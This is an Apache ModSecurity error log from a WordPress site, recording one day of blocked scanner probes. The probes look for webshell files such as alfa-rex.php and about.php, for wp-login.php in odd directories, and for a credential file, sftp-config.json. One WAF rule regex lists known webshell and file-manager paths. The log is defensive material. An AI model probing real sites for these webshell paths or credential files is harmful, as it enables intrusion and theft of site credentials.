[Mon Mar 30 03:39:06.902120 2026] [:error] [pid 4139:tid 4151] [client 40.75.84.21:22465] [client 40.75.84.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.84.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acl_2oYyhg47TZoaP9Lp6QAAAMQ"]
[Mon Mar 30 03:39:16.137459 2026] [:error] [pid 4139:tid 4162] [client 40.75.84.21:22460] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Response/wp-login.php"] [unique_id "acl_5IYyhg47TZoaP9LqZwAAAM8"]
[Mon Mar 30 03:39:16.689562 2026] [:error] [pid 4139:tid 4148] [client 40.75.84.21:22500] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "acl_5IYyhg47TZoaP9LqbAAAAME"]
[Mon Mar 30 03:39:21.107053 2026] [:error] [pid 4040:tid 4122] [client 40.75.84.21:22375] [client 40.75.84.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.84.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "acl_6QxlbJV8kpOpFvY3kQAAAI4"]
[Mon Mar 30 03:39:32.271519 2026] [:error] [pid 4040:tid 4111] [client 40.75.84.21:22375] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/themes.php"] [unique_id "acl_9AxlbJV8kpOpFvY3tgAAAIM"]
[Mon Mar 30 03:39:32.929044 2026] [:error] [pid 55884:tid 55964] [client 40.75.84.21:22504] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "acl_9DjuYLVkve3VbhxXJAAAAQs"]
[Mon Mar 30 03:39:33.354760 2026] [:error] [pid 55884:tid 55967] [client 40.75.84.21:22357] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Content/Type/wp-login.php"] [unique_id "acl_9TjuYLVkve3VbhxXKgAAAQ4"]
[Mon Mar 30 03:39:39.564071 2026] [:error] [pid 55884:tid 55975] [client 40.75.84.21:22391] [client 40.75.84.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.84.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acl_-zjuYLVkve3VbhxXTAAAARY"]
[Mon Mar 30 03:39:42.255628 2026] [:error] [pid 4040:tid 4117] [client 40.75.84.21:22406] [client 40.75.84.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.84.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acl__gxlbJV8kpOpFvY3yQAAAIk"]
[Mon Mar 30 03:39:50.730414 2026] [:error] [pid 55884:tid 55969] [client 40.75.84.21:22391] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/about.php"] [unique_id "acmABjjuYLVkve3VbhxXcAAAARA"]
[Mon Mar 30 03:39:51.235461 2026] [:error] [pid 4033:tid 4054] [client 40.75.84.21:22416] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "acmAB6nf-DXI9VblHi0PAQAAAAE"]
[Mon Mar 30 03:39:51.795435 2026] [:error] [pid 4033:tid 4061] [client 40.75.84.21:22438] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "acmAB6nf-DXI9VblHi0PAwAAAAg"]
[Mon Mar 30 03:39:52.294537 2026] [:error] [pid 4033:tid 4074] [client 40.75.84.21:22451] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "acmACKnf-DXI9VblHi0PCAAAABU"]
[Mon Mar 30 03:39:52.717206 2026] [:error] [pid 55884:tid 55962] [client 40.75.84.21:22346] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "acmACDjuYLVkve3VbhxXcgAAAQk"]
[Mon Mar 30 03:39:53.118653 2026] [:error] [pid 4033:tid 4059] [client 40.75.84.21:22381] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "acmACanf-DXI9VblHi0PDwAAAAY"]
[Mon Mar 30 03:39:53.632537 2026] [:error] [pid 4033:tid 4055] [client 40.75.84.21:22398] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "acmACanf-DXI9VblHi0PEAAAAAI"]
[Mon Mar 30 03:39:54.126328 2026] [:error] [pid 4033:tid 4067] [client 40.75.84.21:22434] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acmACqnf-DXI9VblHi0PGQAAAA4"]
[Mon Mar 30 03:39:54.652727 2026] [:error] [pid 4033:tid 4062] [client 40.75.84.21:22348] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acmACqnf-DXI9VblHi0PHQAAAAk"]
[Mon Mar 30 03:39:55.173691 2026] [:error] [pid 4033:tid 4069] [client 40.75.84.21:22454] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "acmAC6nf-DXI9VblHi0PIgAAABA"]
[Mon Mar 30 03:39:55.619164 2026] [:error] [pid 4139:tid 4157] [client 40.75.84.21:22518] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/crystal/about.php"] [unique_id "acmAC4Yyhg47TZoaP9LrFgAAAMo"]
[Mon Mar 30 03:39:56.032703 2026] [:error] [pid 55884:tid 55972] [client 40.75.84.21:22289] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "acmADDjuYLVkve3VbhxXdgAAARM"]
[Mon Mar 30 03:39:56.634573 2026] [:error] [pid 4033:tid 4054] [client 40.75.84.21:22395] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "acmADKnf-DXI9VblHi0PJgAAAAE"]
[Mon Mar 30 03:39:57.170944 2026] [:error] [pid 4033:tid 4067] [client 40.75.84.21:22319] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "acmADanf-DXI9VblHi0PKAAAAA4"]
[Mon Mar 30 03:39:57.732216 2026] [:error] [pid 4033:tid 4072] [client 40.75.84.21:22378] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "acmADanf-DXI9VblHi0PLAAAABM"]
[Mon Mar 30 03:39:58.593765 2026] [:error] [pid 4139:tid 4170] [client 40.75.84.21:22433] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acmADoYyhg47TZoaP9LrIwAAANc"]
[Mon Mar 30 03:39:59.076397 2026] [:error] [pid 4139:tid 4165] [client 40.75.84.21:22419] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acmAD4Yyhg47TZoaP9LrJQAAANI"]
[Mon Mar 30 03:39:59.699866 2026] [:error] [pid 4033:tid 4072] [client 40.75.84.21:22413] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acmAD6nf-DXI9VblHi0PNwAAABM"]
[Mon Mar 30 03:40:00.206168 2026] [:error] [pid 4034:tid 4090] [client 40.75.84.21:22279] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acmAELfAq8eF_uU4gu1_kQAAAEk"]
[Mon Mar 30 03:40:00.627662 2026] [:error] [pid 4139:tid 4149] [client 40.75.84.21:22384] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "acmAEIYyhg47TZoaP9LrKAAAAMI"]
[Mon Mar 30 03:40:01.054408 2026] [:error] [pid 4139:tid 4166] [client 40.75.84.21:22362] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-login.php"] [unique_id "acmAEYYyhg47TZoaP9LrKgAAANM"]
[Mon Mar 30 05:02:58.362457 2026] [:error] [pid 4040:tid 4111] [client 60.94.71.223:56360] [client 60.94.71.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 60.94.71.223, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acmTggxlbJV8kpOpFvZUngAAAIM"]
[Mon Mar 30 08:01:37.043317 2026] [:error] [pid 35250:tid 35325] [client 43.166.244.192:50262] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acm9YYaKM1MR6zcp2YMwVAAAAM4"]
[Mon Mar 30 08:53:53.783199 2026] [proxy_fcgi:error] [pid 41941:tid 41966] [client 103.4.122.14:35948] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2:{s:7:\\"timeout\\";i:1774875233;s:5:\\"value\\";s:8326:\\"[{\\"id\\":\\"hello-theme-3.4.7\\",\\"title\\":\\"3.4.7 - 2026-03-16\\",\\"description\\":\\"\\\\n            <ul>\\\\n                <li>Tweak: Updated theme home page<\\\\/li>\\\\n            <\\\\/ul>\\"},{\\"id\\":\\"hello-theme-3.4.6\\",\\"title\\":\\"3.4.6 - 2026-01-21\\",\\"description\\":\\"\\\\n            <ul>\\\\n                <li>Tweak: Updated Elementor assets<\\\\/li>\\\\n            <\\\\/ul>\\"},{\\"id\\":\\"hello-theme-3.4.5\\",\\"title\\":\\"3.4.5 - 2025-10-27\\",\\"description\\":\\"\\\\n            <ul>\\\\n\\\\t\\\\t\\\\t\\\\t<li>New: Add theme home to Finder<\\\\/li>\\\\n\\\\t\\\\t\\\\t\\\\t<li>Tweak: Improve banner behavior after clicking on action button<\\\\/li>\\\\n\\\\t\\\\t\\\\t\\\\t<li>Fix: Load styles correctly in Gutenberg pages<\\\\/li>\\\\n\\\\t\\\\t\\\\t\\\\t<li>Fix: Do not change menu name after Elementor activation<\\\\/li>\\\\n\\\\t\\\\t\\\\t\\\\t<li>Fix: Ensure quicklinks ...'
[Mon Mar 30 11:06:02.215975 2026] [:error] [pid 35343:tid 35346] [client 111.172.249.49:36196] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acnomqP5HurqmbvwN-Jc4AAAAAE"]
[Mon Mar 30 13:44:08.764325 2026] [:error] [pid 41941:tid 41950] [client 23.95.212.247:4556] [client 23.95.212.247] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "acoNqCB2g7BNCXGBOJOuTAAAAQc"]
[Mon Mar 30 14:56:24.960985 2026] [:error] [pid 51065:tid 51075] [client 43.159.145.149:58830] [client 43.159.145.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acoemHMr8wtZeHSSB7IFCgAAAcg"]
[Mon Mar 30 17:36:32.731900 2026] [:error] [pid 51065:tid 51085] [client 95.91.110.210:54008] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acpEIHMr8wtZeHSSB7IuVQAAAdI"]
[Mon Mar 30 17:36:35.395314 2026] [:error] [pid 41941:tid 41958] [client 95.91.110.210:12900] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acpEIyB2g7BNCXGBOJNH3AAAAQ8"]
[Mon Mar 30 17:36:38.277559 2026] [:error] [pid 35250:tid 35313] [client 95.91.110.210:12902] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acpEJoaKM1MR6zcp2YM9uAAAAMI"]
[Mon Mar 30 17:36:41.015835 2026] [:error] [pid 35249:tid 35302] [client 95.91.110.210:57904] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acpEKSqCKiTq85d6rgBItAAAAJI"]
[Mon Mar 30 17:36:46.791325 2026] [:error] [pid 35250:tid 35334] [client 95.91.110.210:57918] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acpELoaKM1MR6zcp2YM96gAAANc"]
[Mon Mar 30 17:36:49.549327 2026] [:error] [pid 51065:tid 51075] [client 95.91.110.210:57932] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acpEMXMr8wtZeHSSB7IusQAAAcg"]
[Mon Mar 30 17:36:52.259892 2026] [:error] [pid 41941:tid 41965] [client 95.91.110.210:22824] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acpENCB2g7BNCXGBOJNIKwAAARY"]
[Mon Mar 30 17:36:56.424253 2026] [:error] [pid 41941:tid 41944] [client 95.91.110.210:22834] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acpEOCB2g7BNCXGBOJNIMQAAAQE"]
[Mon Mar 30 17:37:10.392756 2026] [:error] [pid 35249:tid 35291] [client 95.91.110.210:22836] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acpERiqCKiTq85d6rgBIuQAAAIc"]
[Mon Mar 30 17:37:17.360837 2026] [:error] [pid 64743:tid 64760] [client 95.91.110.210:25010] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acpETSzmpVL6Ubzil4iTFwAAAU8"]
[Mon Mar 30 17:37:21.025628 2026] [:error] [pid 51065:tid 51069] [client 95.91.110.210:25026] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acpEUXMr8wtZeHSSB7IuzgAAAcI"]
[Mon Mar 30 17:37:24.555739 2026] [:error] [pid 51065:tid 51082] [client 95.91.110.210:14584] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acpEVHMr8wtZeHSSB7Iu1QAAAc8"]
[Mon Mar 30 17:37:27.446458 2026] [:error] [pid 35250:tid 35328] [client 95.91.110.210:14586] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acpEV4aKM1MR6zcp2YM-WAAAANE"]
[Mon Mar 30 17:43:29.651865 2026] [:error] [pid 41941:tid 41963] [client 43.138.68.113:39834] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acpFwSB2g7BNCXGBOJNMuAAAARQ"]
[Mon Mar 30 17:46:04.503912 2026] [:error] [pid 35250:tid 35313] [client 43.156.202.34:60970] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acpGXIaKM1MR6zcp2YNBoAAAAMI"]
